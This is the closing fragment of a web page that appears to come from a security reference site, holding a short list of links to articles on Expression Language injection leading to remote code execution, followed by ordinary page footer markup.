<li><a href="https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/">Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021</a></li>
|
||
<li><a href="https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html">RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018</a></li>
|
||
<li><a href="https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf">Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019</a></li>
|
||
</ul>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<aside class="md-source-file">
|
||
|
||
|
||
<span class="md-source-file__fact">
|
||
<span class="md-icon" title="Last update">
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg>
|
||
</span>
|
||
<span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 25, 2024</span>
|
||
</span>
|
||
|
||
|
||
|
||
|
||
|
||
</aside>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<div class="social-container">
|
||
<b>Share this content</b>
|
||
<div class="a2a_kit a2a_kit_size_32 a2a_default_style">
|
||
<a class="a2a_dd" href="https://www.addtoany.com/share"></a>
|
||
<a class="a2a_button_x"></a>
|
||
<a class="a2a_button_telegram"></a>
|
||
<a class="a2a_button_linkedin"></a>
|
||
<a class="a2a_button_email"></a>
|
||
<a class="a2a_button_microsoft_teams"></a>
|
||
</div>
|
||
<br>
|
||
<script async src="https://static.addtoany.com/menu/page.js"></script>
|
||
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
|
||
</div>
|
||
|
||
</article>
|
||
</div>
|
||
|
||
|
||
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
|
||
</div>
|
||
|
||
<button type="button" class="md-top md-icon" data-md-component="top" hidden>
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8z"/></svg>
|
||
Back to top
|
||
</button>
|
||
|
||
</main>
|
||
|
||
<footer class="md-footer">
|
||
|
||
<div class="md-footer-meta md-typeset">
|
||
<div class="md-footer-meta__inner md-grid">
|
||
<div class="md-copyright">
|
||
|
||
|
||
Made with
|
||
<a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
|
||
Material for MkDocs
|
||
</a>
|
||
|
||
</div>
|
||
|
||
</div>
|
||
</div>
|
||
</footer>
|
||
|
||
</div>
|
||
<div class="md-dialog" data-md-component="dialog">
|
||
<div class="md-dialog__inner md-typeset"></div>
|
||
</div>
|
||
|
||
|
||
<script id="__config" type="application/json">{"base": "../..", "features": ["content.code.copy", "content.action.edit", "content.action.view", "content.tooltips", "navigation.tracking", "navigation.top", "search.share", "search.suggest"], "search": "../../assets/javascripts/workers/search.6ce7567c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
|
||
|
||
|
||
<script src="../../assets/javascripts/bundle.88dd0f4e.min.js"></script>
|
||
|
||
|
||
</body>
|
||
</html> |